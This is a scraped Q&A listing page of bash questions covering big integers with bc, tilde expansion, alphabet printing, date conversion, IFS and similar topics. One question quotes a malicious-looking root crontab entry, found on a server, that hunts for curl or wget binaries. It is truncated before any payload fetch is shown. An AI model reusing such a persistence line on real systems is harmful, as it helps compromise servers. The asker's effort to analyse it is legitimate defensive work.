小编Ben*_* W.的帖子

如何在 bash 中处理大于 2^63 的整数

bash 的最大有符号整数值似乎是 9223372036854775807 (2^63)-1。bash 有没有办法处理比这更大的值?我需要处理最大 10000000000000000000000000001 的数字,但我不确定如何在 bash 中完成此操作。

A=10000000000000000000000000000
echo $A
10000000000000000000000000000
let A+=1
echo $A
4477988020393345025
Run Code Online (Sandbox Code Playgroud)

编辑 感谢本杰明·W.的评论。基于此,我正在尝试以下策略。这是否存在任何明显的问题?这意味着,除了由于调用 bc 造成的一些性能损失之外,使用 bc 增加我的变量是否会带来复杂性?

A=10000000000000000000000000000
echo $A
10000000000000000000000000000
A=$(bc <<< "$A+1")
echo $A
10000000000000000000000000001
Run Code Online (Sandbox Code Playgroud)

另外,我测试了一些 bash 操作(大于、小于等),看起来它的行为符合预期。例如:

A=10000000000000000000000000000

echo $A
10000000000000000000000000000

[[ "$A" -gt 10000000000000000000000000000 ]] && echo "A is bigger than 10000000000000000000000000000"

A=$(bc <<< "$A+1")

echo $A
10000000000000000000000000001

[[ "$A" -gt 10000000000000000000000000000 ]] && echo "A is bigger than 10000000000000000000000000000"
A is bigger than 10000000000000000000000000000
Run Code Online (Sandbox Code Playgroud)

bash largenumber

1
推荐指数
1
解决办法
4701
查看次数

无法测试Bash中是否存在文件

请考虑以下Bash脚本:

function dosomething {
    local fname="~/.bash_profile"
    if [[ -f "$fname" ]]; then
        echo "proceeding"
    else
        echo "skipping"
    fi
}

dosomething
Run Code Online (Sandbox Code Playgroud)

虽然我知道〜/ .bash_profile存在,但我总是"跳过".为什么?

bash tilde-expansion

1
推荐指数
1
解决办法
169
查看次数

当我获取脚本时终端关闭(在开始时使用点运行)

这是我的代码:

#!/bin/bash 
if [[ $1 = "" ]]; then
    exit 0
fi
array=($(cat $1))
let b=${#array[@]}-1
count=0
for i in {1..7}; do
    for j in {30..37}; do
        for n in {40..47}; do
            if [[ $count -gt $b ]]; then
                printf '\n'
                printf '\e[0m'
                exit 1
            fi
            printf '\e[%s;%s;%sm%-5s' "$i" "$j" "$n" "${array[$count]}"
            printf '\e[0m'
            let count=$count+1
        done
        printf '\n'
    done
done
#printf '\n'
printf '\e[0m'
exit 0
Run Code Online (Sandbox Code Playgroud)

问题是当我这样开始时

#!/bin/bash 
if [[ $1 = "" ]]; then
    exit 0
fi
array=($(cat …
Run Code Online (Sandbox Code Playgroud)

linux bash

1
推荐指数
1
解决办法
2440
查看次数

打印小写字母到大写字母bash的最快方法

我需要打印以下内容 bash

.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
Run Code Online (Sandbox Code Playgroud)

到目前为止我所拥有的:

echo -n "."; for l in {a..z}; do echo -n $l; done
Run Code Online (Sandbox Code Playgroud)

这将打印:

.abcdefghijklmnopqrstuvwxyz 但我也需要大写字母.

我试图在一行上做这个,所以最好是相同的循环.


我不想手工输入字母.

bash

1
推荐指数
1
解决办法
49
查看次数

定义每次使用时要评估的bash变量

我想定义一个变量,它将在每次使用时进行评估.

我的目标是定义两个变量:

A=/home/userA
B=$A/my_file
Run Code Online (Sandbox Code Playgroud)

因此,每当我更新时A,B都会更新新值,A 我知道如何在提示变量中执行此操作,但是,有没有办法为常规变量执行此操作?

linux variables bash shell scripting

1
推荐指数
1
解决办法
59
查看次数

是否可以在不支持关联数组的情况下编译 Bash 5?

测试我的 bash 脚本的同事向我发送了此屏幕截图

没有关联数组的 ba​​sh5

bash从 brew安装。有可能declare没有-A选项bash:5吗?

我用 docker 检查过,bash:5必须有-A

$ docker run -it bash:5
bash-5.0# declare -A
declare -A BASH_ALIASES=()
declare -A BASH_CMDS=()
Run Code Online (Sandbox Code Playgroud)

bash:3当没有关联数组支持时,屏幕截图类似于输出:

$ docker run -it bash:3
bash-3.2# declare -A
bash: declare: -A: invalid option
declare: usage: declare [-afFirtx] [-p] [name[=value] ...]
Run Code Online (Sandbox Code Playgroud)

是否可以在bash:5没有关联数组支持的情况下进行编译?

bash自制程序包的页面,我在./configureFormula ruby​​ 安装脚本部分没有找到任何特殊选项。

macos bash homebrew configure

1
推荐指数
1
解决办法
722
查看次数

服务器的crontab中的此条目做什么?

我收到了很多来自cron作业的电子邮件,这些邮件看起来真的很奇怪,所以我去调查了。

我在下面发现了一个奇怪的crontab条目。

首先,我尝试运行:

crontab -u root -l
Run Code Online (Sandbox Code Playgroud)

那显示了大型cron作业,因此我立即删除了该条目。

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f …
Run Code Online (Sandbox Code Playgroud)

cron rootkit server

1
推荐指数
1
解决办法
523
查看次数

Transform an entire column using "date" command

Here is a dummy CSV file with 3 rows. The actual file has 7 million rows.

testdates.csv:

y_m_d
1997-01-01
1985-06-09
1943-07-14
Run Code Online (Sandbox Code Playgroud)

The date tool can usually be formatted as such , to get the 'day' :

date -d "25 JUN 2011" +%A
Run Code Online (Sandbox Code Playgroud)

=> output: Saturday

Query: How to provide an entire column as input for the date +%A transformation?

The resulting output should be appended to the end of the input file.

Intended output:

y_m_d, Day
1997-01-01, Thursday
1985-06-09, …
Run Code Online (Sandbox Code Playgroud)

linux bash awk date sed

1
推荐指数
1
解决办法
67
查看次数

fmt 和 GoLand 中的语法突出显示

GoLand IDE (JetBrains) 如何突出显示fmtGo 标准库包中的格式化动词?

一张图片来澄清我的问题:

突出显示示例

如果我编写一个采用格式字符串和多个参数的函数,则格式字符串不会突出显示:

无突出显示示例

这个突出显示从哪里来?我无法弄清楚这一点。

syntax-highlighting go goland

1
推荐指数
1
解决办法
1057
查看次数

为什么粘贴 Bash 函数会导致“显示所有可能性”并出现一个长列表?

内部字段分隔符(缩写为 IFS)是指一个变量,它定义用于将模式分隔为某些操作的标记的一个或多个字符。IFS 通常包括空格、制表符和换行符。

显示我当前的 IFS:

echo -n "$IFS" |xxd
00000000: 2009 0a 
Run Code Online (Sandbox Code Playgroud)

现在我写了一个简单的 bash 脚本。

在此处输入图片说明

整个代码位于我的dropbox 中

当我将其粘贴到控制台时:

在此处输入图片说明

在第 2 行开始到第 5 行,它是\t; 如果我用空白替换它,它可以被复制到控制台并且没有任何反应。

所以我们可以得出结论,这\t导致了这个动作。我想知道,如果变量$1从未被分配过,粘贴到控制台时代码是如何运行的?

我已经IFS多次阅读这个概念,但找不到解释。

bash ifs

1
推荐指数
1
解决办法
69
查看次数